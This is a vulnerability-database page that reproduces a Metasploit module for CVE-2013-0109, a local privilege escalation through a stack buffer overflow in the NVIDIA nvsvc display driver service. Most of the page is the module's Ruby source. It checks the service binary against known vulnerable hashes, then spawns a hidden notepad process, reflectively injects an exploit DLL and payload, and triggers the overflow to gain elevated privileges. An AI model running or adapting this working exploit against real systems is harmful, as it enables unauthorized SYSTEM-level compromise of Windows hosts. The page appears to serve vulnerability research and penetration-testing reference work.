Lucene search
K

Nvidia (nvsvc) Display Driver Service - Local Privilege Escalation (Metasploit)

🗓️ 17 Dec 2013 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Nvidia Display Driver Service Local Privilege Escalation with stacked buffer overflow exploit targeting specific versions

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
17 Dec 201300:00
zdt
ATTACKERKB
CVE-2013-0109
8 Apr 201316:55
attackerkb
Circl
CVE-2013-0109
17 Dec 201300:00
circl
CVE
CVE-2013-0109
8 Apr 201316:00
cve
Cvelist
CVE-2013-0109
8 Apr 201316:00
cvelist
EUVD
EUVD-2013-0152
7 Oct 202500:30
euvd
Metasploit
Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
15 Dec 201301:12
metasploit
NVD
CVE-2013-0109
8 Apr 201316:55
nvd
Tenable Nessus
NVIDIA Display Driver 174.x < 307.78 / 310.x < 311.00 Multiple Vulnerabilities
18 May 201500:00
nessus
Packet Storm
Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
17 Dec 201300:00
packetstorm
Rows per page
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/reflective_dll_injection'
require 'msf/core/post/windows/services'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Services

  def initialize(info={})
    super(update_info(info, {
      'Name'            => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
      'Description'     => %q{
        The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
        interact with the service. It contains a stacked based buffer overflow as a result
        of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',
        the service name is 'nvsvc', and the named pipe is 'nsvr'.

        This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
        It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Peter Wintersmith', # Original exploit
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',   # Metasploit integration
        ],
      'Arch'            => ARCH_X86_64,
      'Platform'        => 'win',
      'SessionTypes'    => [ 'meterpreter' ],
      'DefaultOptions'  =>
        {
          'EXITFUNC'    => 'thread',
        },
      'Targets'         =>
        [
          [ 'Windows x64', { } ]
        ],
      'Payload'         =>
        {
          'Space'       => 2048,
          'DisableNops' => true,
          'BadChars'    => "\x00"
        },
      'References'      =>
        [
          [ 'CVE', '2013-0109' ],
          [ 'OSVDB', '88745' ],
          [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
        ],
      'DisclosureDate' => 'Dec 25 2012',
      'DefaultTarget'  => 0
    }))

  end

  def check
    vuln_hashes = [
      '43f91595049de14c4b61d1e76436164f',
      '3947ad5d03e6abcce037801162fdb90d',
      '3341d2c91989bc87c3c0baa97c27253b'
    ]

    os = sysinfo["OS"]
    if os =~ /windows/i
      svc = service_info 'nvsvc'
      if svc and svc['Name'] =~ /NVIDIA/i
        vprint_good("Found service '#{svc['Name']}'")

        begin
          if is_running?
            print_good("Service is running")
          else
            print_error("Service is not running!")
          end
        rescue RuntimeError => e
          print_error("Unable to retrieve service status")
        end

        if sysinfo['Architecture'] =~ /WOW64/i
          path = svc['Command'].gsub('"','').strip
          path.gsub!("system32","sysnative")
        else
          path = svc['Command'].gsub('"','').strip
        end

        begin
          hash = client.fs.file.md5(path).unpack('H*').first
        rescue Rex::Post::Meterpreter::RequestError => e
          print_error("Error checking file hash: #{e}")
          return Exploit::CheckCode::Detected
        end

        if vuln_hashes.include?(hash)
          vprint_good("Hash '#{hash}' is listed as vulnerable")
          return Exploit::CheckCode::Vulnerable
        else
          vprint_status("Hash '#{hash}' is not recorded as vulnerable")
          return Exploit::CheckCode::Detected
        end
      else
        return Exploit::CheckCode::Safe
      end
    end
  end

  def is_running?
    begin
      status = service_status('nvsvc')
      return (status and status[:state] == 4)
    rescue RuntimeError => e
      print_error("Unable to retrieve service status")
      return false
    end
  end

  def exploit
    if is_system?
      fail_with(Exploit::Failure::None, 'Session is already elevated')
    end

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
    end

    print_status("Launching notepad to host the exploit...")

    windir = expand_path("%windir%")
    cmd = "#{windir}\\SysWOW64\\notepad.exe"
    process = client.sys.process.execute(cmd, nil, {'Hidden' => true})
    host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
    print_good("Process #{process.pid} launched.")

    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory,
                               "exploits",
                               "CVE-2013-0109",
                               "nvidia_nvsvc.x86.dll")
    library_path = ::File.expand_path(library_path)

    print_status("Injecting exploit into #{process.pid} ...")
    exploit_mem, offset = inject_dll_into_process(host_process, library_path)

    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    payload_mem = inject_into_process(host_process, payload.encoded)

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status("Payload injected. Executing exploit...")
    host_process.thread.create(exploit_mem + offset, payload_mem)

    print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Dec 2013 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 27.2
EPSS0.07329
32